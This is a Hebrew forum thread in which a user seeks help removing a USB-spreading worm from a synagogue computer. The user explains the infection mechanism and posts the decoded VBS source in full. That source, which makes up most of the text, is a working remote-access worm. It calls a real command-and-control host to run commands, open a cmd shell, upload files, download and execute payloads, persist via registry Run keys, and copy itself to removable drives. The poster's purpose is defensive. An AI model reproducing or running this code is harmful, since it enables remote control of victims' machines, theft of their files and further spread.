                                    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                                    לפי איזה פרמטר הוא יותר חזק?
                                    דיפנדר טוב מאוד וחינמי

                                    A מנותק
                                    A מנותק
                                    AMDesign
                                    כתב נערך לאחרונה על ידי
                                    #32

                                    @תלמידהון
                                    למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                                    דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                                    מתכנת חובבמ תגובה 1 תגובה אחרונה
                                    0
                                    • A AMDesign

                                      @רנדומלי
                                      למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                      ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                      כ מנותק
                                      כ מנותק
                                      כככככ
                                      כתב נערך לאחרונה על ידי
                                      #33

                                      @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      רנדומלי
                                      למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                      ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                      סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                      cfopuserC תגובה 1 תגובה אחרונה
                                      0
                                      • כ כככככ

                                        @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        רנדומלי
                                        למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                        ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                        סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                        cfopuserC מנותק
                                        cfopuserC מנותק
                                        cfopuser
                                        כתב נערך לאחרונה על ידי cfopuser
                                        #34

                                        @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

                                        יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

                                        תגובה 1 תגובה אחרונה
                                        1
                                        • ר רנדומלי

                                          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                          cmd /c hrxxryydxo.vbs && start explorer [file name]
                                          

                                          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                          

                                          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                          לאחר פיענוח הקידוד התקבל הקוד הבא:
                                          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                          e
                                          '<[ recoder : houdini (c) skype : houdini-fx ]>
                                          
                                          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                          
                                          host = "khattab.no-ip.biz"
                                          port = 5550
                                          installdir = "%temp%"
                                          lnkfile = true
                                          lnkfolder = true
                                          
                                          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                          
                                          dim shellobj 
                                          set shellobj = wscript.createobject("wscript.shell")
                                          dim filesystemobj
                                          set filesystemobj = createobject("scripting.filesystemobject")
                                          dim httpobj
                                          set httpobj = createobject("msxml2.xmlhttp")
                                          
                                          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                          
                                          installname = wscript.scriptname
                                          startup = shellobj.specialfolders ("startup") & "\"
                                          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                          spliter = "<" & "|" & ">"
                                          sleep = 5000 
                                          dim response
                                          dim cmd
                                          dim param
                                          info = ""
                                          usbspreading = ""
                                          startdate = ""
                                          dim oneonce
                                          
                                          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                          on error resume next
                                          
                                          instance
                                          while true
                                          
                                          install
                                          
                                          response = ""
                                          response = post ("is-ready","")
                                          cmd = split (response,spliter)
                                          select case cmd (0)
                                          case "excecute"
                                                param = cmd (1)
                                                execute param
                                          case "update"
                                                param = cmd (1)
                                                oneonce.close
                                                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                                oneonce.write param
                                                oneonce.close
                                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                                wscript.quit 
                                          case "uninstall"
                                                uninstall
                                          case "send"
                                                download cmd (1),cmd (2)
                                          case "site-send"
                                                sitedownloader cmd (1),cmd (2)
                                          case "recv"
                                                param = cmd (1)
                                                upload (param)
                                          case  "enum-driver"
                                                post "is-enum-driver",enumdriver  
                                          case  "enum-faf"
                                                param = cmd (1)
                                                post "is-enum-faf",enumfaf (param)
                                          case  "enum-process"
                                                post "is-enum-process",enumprocess   
                                          case  "cmd-shell"
                                                param = cmd (1)
                                                post "is-cmd-shell",cmdshell (param)  
                                          case  "delete"
                                                param = cmd (1)
                                                deletefaf (param) 
                                          case  "exit-process"
                                                param = cmd (1)
                                                exitprocess (param) 
                                          case  "sleep"
                                                param = cmd (1)
                                                sleep = eval (param)        
                                          end select
                                          
                                          wscript.sleep sleep
                                          
                                          wend
                                          
                                          sub install
                                          on error resume next
                                          dim lnkobj
                                          dim filename
                                          dim foldername
                                          dim fileicon
                                          dim foldericon
                                          
                                          upstart
                                          for each drive in filesystemobj.drives
                                          
                                          if  drive.isready = true then
                                          if  drive.freespace  > 0 then
                                          if  drive.drivetype  = 1 then
                                              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                              end if
                                              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                                  if not lnkfile then exit for
                                                  if  instr (file.name,".") then
                                                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                          file.attributes = 2+4
                                                          if  ucase (file.name) <> ucase (installname) then
                                                              filename = split(file.name,".")
                                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                              lnkobj.windowstyle = 7
                                                              lnkobj.targetpath = "cmd.exe"
                                                              lnkobj.workingdirectory = ""
                                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                              if  instr (fileicon,",") = 0 then
                                                                  lnkobj.iconlocation = file.path
                                                              else 
                                                                  lnkobj.iconlocation = fileicon
                                                              end if
                                                              lnkobj.save()
                                                          end if
                                                      end if
                                                  end if
                                              next
                                              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                                  if not lnkfolder then exit for
                                                  folder.attributes = 2+4
                                                  foldername = folder.name
                                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                                  lnkobj.windowstyle = 7
                                                  lnkobj.targetpath = "cmd.exe"
                                                  lnkobj.workingdirectory = ""
                                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                                  if  instr (foldericon,",") = 0 then
                                                      lnkobj.iconlocation = folder.path
                                                  else 
                                                      lnkobj.iconlocation = foldericon
                                                  end if
                                                  lnkobj.save()
                                              next
                                          end If
                                          end If
                                          end if
                                          next
                                          err.clear
                                          end sub
                                          
                                          sub uninstall
                                          on error resume next
                                          dim filename
                                          dim foldername
                                          
                                          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                          filesystemobj.deletefile startup & installname ,true
                                          filesystemobj.deletefile wscript.scriptfullname ,true
                                          
                                          for  each drive in filesystemobj.drives
                                          if  drive.isready = true then
                                          if  drive.freespace  > 0 then
                                          if  drive.drivetype  = 1 then
                                              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                                   on error resume next
                                                   if  instr (file.name,".") then
                                                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                           file.attributes = 0
                                                           if  ucase (file.name) <> ucase (installname) then
                                                               filename = split(file.name,".")
                                                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                           else
                                                               filesystemobj.deletefile (drive.path & "\" & file.name)
                                                           end If
                                                       else
                                                           filesystemobj.deletefile (file.path) 
                                                       end if
                                                   end if
                                               next
                                               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                                   folder.attributes = 0
                                               next
                                          end if
                                          end if
                                          end if
                                          next
                                          wscript.quit
                                          end sub
                                          
                                          function post (cmd ,param)
                                          
                                          post = param
                                          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                          httpobj.setrequestheader "user-agent:",information
                                          httpobj.send param
                                          post = httpobj.responsetext
                                          end function
                                          
                                          function information
                                          on error resume next
                                          if  inf = "" then
                                              inf = hwid & spliter 
                                              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                          
                                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                              set os = root.execquery ("select * from win32_operatingsystem")
                                              for each osinfo in os
                                                 inf = inf & osinfo.caption & spliter  
                                                 exit for
                                              next
                                              inf = inf & "plus" & spliter
                                              inf = inf & security & spliter
                                              inf = inf & usbspreading
                                              information = inf  
                                          else
                                              information = inf
                                          end if
                                          end function
                                          
                                          sub upstart ()
                                          on error resume Next
                                          
                                          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                          
                                          end sub
                                          
                                          function hwid
                                          on error resume next
                                          
                                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                          set disks = root.execquery ("select * from win32_logicaldisk")
                                          for each disk in disks
                                              if  disk.volumeserialnumber <> "" then
                                                  hwid = disk.volumeserialnumber
                                                  exit for
                                              end if
                                          next
                                          end function
                                          
                                          function security 
                                          on error resume next
                                          
                                          security = ""
                                          
                                          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                          for each objitem in colitems
                                              versionstr = split (objitem.version,".")
                                          next
                                          versionstr = split (colitems.version,".")
                                          osversion = versionstr (0) & "."
                                          for  x = 1 to ubound (versionstr)
                                               osversion = osversion &  versionstr (i)
                                          next
                                          osversion = eval (osversion)
                                          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                          
                                          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                          
                                          for each objantivirus in colantivirus
                                              security  = security  & objantivirus.displayname & " ."
                                          next
                                          if security  = "" then security  = "nan-av"
                                          end function
                                          
                                          function instance
                                          on error resume next
                                          
                                          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                          if usbspreading = "" then
                                             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                                usbspreading = "true - " & date
                                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                             else
                                                usbspreading = "false - " & date
                                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                          
                                             end if
                                          end If
                                          
                                          
                                          upstart
                                          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                              wscript.quit 
                                          end If
                                          err.clear
                                          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                          if  err.number > 0 then wscript.quit
                                          end function
                                          
                                          sub sitedownloader (fileurl,filename)
                                          
                                          strlink = fileurl
                                          strsaveto = installdir & filename
                                          set objhttpdownload = createobject("msxml2.xmlhttp" )
                                          objhttpdownload.open "get", strlink, false
                                          objhttpdownload.send
                                          
                                          set objfsodownload = createobject ("scripting.filesystemobject")
                                          if  objfsodownload.fileexists (strsaveto) then
                                              objfsodownload.deletefile (strsaveto)
                                          end if
                                           
                                          if objhttpdownload.status = 200 then
                                             dim  objstreamdownload
                                             set  objstreamdownload = createobject("adodb.stream")
                                             with objstreamdownload
                                                  .type = 1 
                                                  .open
                                                  .write objhttpdownload.responsebody
                                                  .savetofile strsaveto
                                                  .close
                                             end with
                                             set objstreamdownload = nothing
                                          end if
                                          if objfsodownload.fileexists(strsaveto) then
                                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                          end if 
                                          end sub
                                          
                                          sub download (fileurl,filedir)
                                          
                                          if filedir = "" then 
                                             filedir = installdir
                                          end if
                                          
                                          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                          set objhttpdownload = createobject("msxml2.xmlhttp")
                                          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                          objhttpdownload.send ""
                                               
                                          set objfsodownload = createobject ("scripting.filesystemobject")
                                          if  objfsodownload.fileexists (strsaveto) then
                                              objfsodownload.deletefile (strsaveto)
                                          end if
                                          if  objhttpdownload.status = 200 then
                                              dim  objstreamdownload
                                              set  objstreamdownload = createobject("adodb.stream")
                                              with objstreamdownload 
                                                   .type = 1 
                                                   .open
                                                   .write objhttpdownload.responsebody
                                                   .savetofile strsaveto
                                                   .close
                                              end with
                                              set objstreamdownload  = nothing
                                          end if
                                          if objfsodownload.fileexists(strsaveto) then
                                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                          end if 
                                          end sub
                                          
                                          function upload (fileurl)
                                          
                                          dim  httpobj,objstreamuploade,buffer
                                          set  objstreamuploade = createobject("adodb.stream")
                                          with objstreamuploade 
                                               .type = 1 
                                               .open
                                               .loadfromfile fileurl
                                               buffer = .read
                                               .close
                                          end with
                                          set objstreamdownload = nothing
                                          set httpobj = createobject("msxml2.xmlhttp")
                                          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                          httpobj.send buffer
                                          end function
                                          
                                          function enumdriver ()
                                          
                                          for  each drive in filesystemobj.drives
                                          if   drive.isready = true then
                                               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                          end if
                                          next
                                          end Function
                                          
                                          function enumfaf (enumdir)
                                          
                                          enumfaf = enumdir & spliter
                                          for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                          next
                                          
                                          for  each file in filesystemobj.getfolder (enumdir).files
                                               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                          
                                          next
                                          end function
                                          
                                          function enumprocess ()
                                          
                                          on error resume next
                                          
                                          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                          set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                          
                                          dim objitem
                                          for each objitem in colitems
                                              enumprocess = enumprocess & objitem.name & "|"
                                              enumprocess = enumprocess & objitem.processid & "|"
                                              enumprocess = enumprocess & objitem.executablepath & spliter
                                          next
                                          end function
                                          
                                          sub exitprocess (pid)
                                          on error resume next
                                          
                                          shellobj.run "taskkill /F /T /PID " & pid,7,true
                                          end sub
                                          
                                          sub deletefaf (url)
                                          on error resume next
                                          
                                          filesystemobj.deletefile url
                                          filesystemobj.deletefolder url
                                          
                                          end sub
                                          
                                          function cmdshell (cmd)
                                          
                                          dim httpobj,oexec,readallfromany
                                          
                                          set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                          if not oexec.stdout.atendofstream then
                                             readallfromany = oexec.stdout.readall
                                          elseif not oexec.stderr.atendofstream then
                                             readallfromany = oexec.stderr.readall
                                          else 
                                             readallfromany = ""
                                          end if
                                          
                                          cmdshell = readallfromany
                                          end function
                                          
                                          ה מנותק
                                          ה מנותק
                                          היפ הופ
                                          כתב נערך לאחרונה על ידי
                                          #35

                                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                          אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

                                          תגובה 1 תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר